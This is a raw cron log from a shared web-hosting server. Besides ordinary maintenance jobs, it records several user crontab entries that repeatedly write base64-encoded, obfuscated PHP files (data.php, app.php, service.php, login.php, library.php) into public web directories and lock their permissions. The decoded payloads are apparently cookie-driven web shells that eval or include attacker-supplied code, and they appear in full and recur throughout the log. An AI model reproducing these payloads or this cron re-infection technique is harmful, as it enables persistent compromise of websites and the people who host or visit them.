Mar  1 07:35:02 medusa CROND[11944]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:35:02 medusa CROND[11947]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:35:02 medusa CROND[11946]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:35:02 medusa CROND[11950]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:35:02 medusa CROND[11951]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:35:02 medusa CROND[11952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:35:02 medusa CROND[11953]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:35:02 medusa CROND[11941]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 07:35:02 medusa CROND[11959]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:35:02 medusa CROND[11961]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:35:02 medusa CROND[11954]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:35:02 medusa CROND[11964]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:35:02 medusa CROND[11943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:36:01 medusa CROND[1795]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:36:01 medusa CROND[1818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:36:02 medusa CROND[1846]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:36:02 medusa CROND[1847]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:36:02 medusa CROND[1848]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:36:02 medusa CROND[1850]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:36:02 medusa CROND[1851]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:36:02 medusa CROND[1852]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:36:02 medusa CROND[1853]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:36:02 medusa CROND[1855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:36:02 medusa CROND[1860]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:36:02 medusa CROND[1864]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:36:02 medusa CROND[1865]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:36:02 medusa CROND[1866]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:37:02 medusa CROND[23565]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:37:02 medusa CROND[23566]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:37:02 medusa CROND[23567]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:37:02 medusa CROND[23568]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:37:02 medusa CROND[23569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:37:02 medusa CROND[23571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:37:02 medusa CROND[23572]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:37:02 medusa CROND[23574]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
